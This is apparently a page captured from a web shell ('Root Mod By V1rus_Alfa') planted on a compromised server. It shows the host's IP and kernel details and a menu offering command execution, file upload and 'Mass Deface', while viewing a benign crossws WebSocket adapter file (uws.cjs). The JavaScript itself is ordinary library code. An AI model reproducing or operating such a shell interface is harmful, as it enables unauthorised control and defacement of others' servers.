���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules.1
/
crossws
/
dist
/
adapters
/
Viewing: uws.cjs
'use strict'; const types = require('../shared/crossws.36b9e66f.cjs'); var __defProp = Object.defineProperty; var __defNormalProp = (obj, key, value) => key in obj ? __defProp(obj, key, { enumerable: true, configurable: true, writable: true, value }) : obj[key] = value; var __publicField = (obj, key, value) => { __defNormalProp(obj, typeof key !== "symbol" ? key + "" : key, value); return value; }; const uws = types.defineWebSocketAdapter( (options = {}) => { const crossws = types.createCrossWS(options); const getPeer = (ws) => { const userData = ws.getUserData(); if (userData._peer) { return userData._peer; } const peer = new UWSPeer({ uws: { ws, userData } }); userData._peer = peer; return peer; }; const websocket = { ...options.uws, close(ws, code, message) { const peer = getPeer(ws); crossws.$callHook("uws:close", peer, ws, code, message); crossws.callHook("close", peer, { code, reason: message?.toString() }); }, drain(ws) { const peer = getPeer(ws); crossws.$callHook("uws:drain", peer, ws); }, message(ws, message, isBinary) { const peer = getPeer(ws); crossws.$callHook("uws:message", peer, ws, message, isBinary); const msg = new types.Message(message, isBinary); crossws.callHook("message", peer, msg); }, open(ws) { const peer = getPeer(ws); crossws.$callHook("uws:open", peer, ws); crossws.callHook("open", peer); }, ping(ws, message) { const peer = getPeer(ws); crossws.$callHook("uws:ping", peer, ws, message); }, pong(ws, message) { const peer = getPeer(ws); crossws.$callHook("uws:pong", peer, ws, message); }, subscription(ws, topic, newCount, oldCount) { const peer = getPeer(ws); crossws.$callHook( "uws:subscription", peer, ws, topic, newCount, oldCount ); }, async upgrade(res, req, context) { let aborted = false; res.onAborted(() => { aborted = true; }); const { headers } = await crossws.upgrade({ get url() { return req.getUrl(); }, get headers() { return _getHeaders(req); } }); res.writeStatus("101 Switching Protocols"); for (const [key, value] of new Headers(headers)) { res.writeHeader(key, value); } if (aborted) { return; } res.cork(() => { res.upgrade( { req, res, context }, req.getHeader("sec-websocket-key"), req.getHeader("sec-websocket-protocol"), req.getHeader("sec-websocket-extensions"), context ); }); } }; return { websocket }; } ); class UWSPeer extends types.Peer { constructor() { super(...arguments); __publicField(this, "_headers"); __publicField(this, "_decoder", new TextDecoder()); } get addr() { try { const addr = this._decoder.decode( this.ctx.uws.ws?.getRemoteAddressAsText() ); return addr.replace(/(0000:)+/, ""); } catch { } } // TODO // get readyState() {} get url() { return this.ctx.uws.userData.req.getUrl(); } get headers() { if (!this._headers) { this._headers = _getHeaders(this.ctx.uws.userData.req); } return this._headers; } send(message, options) { return this.ctx.uws.ws.send( types.toBufferLike(message), options?.binary, options?.compress ); } subscribe(topic) { this.ctx.uws.ws.subscribe(topic); } publish(topic, message, options) { this.ctx.uws.ws.publish(topic, message, options?.binary, options?.compress); return 0; } } function _getHeaders(req) { const headers = []; req.forEach((key, value) => { headers.push([key, value]); }); return headers; } module.exports = uws;
Coded With 💗 by
0x6ick Mod By V1rus_Alfa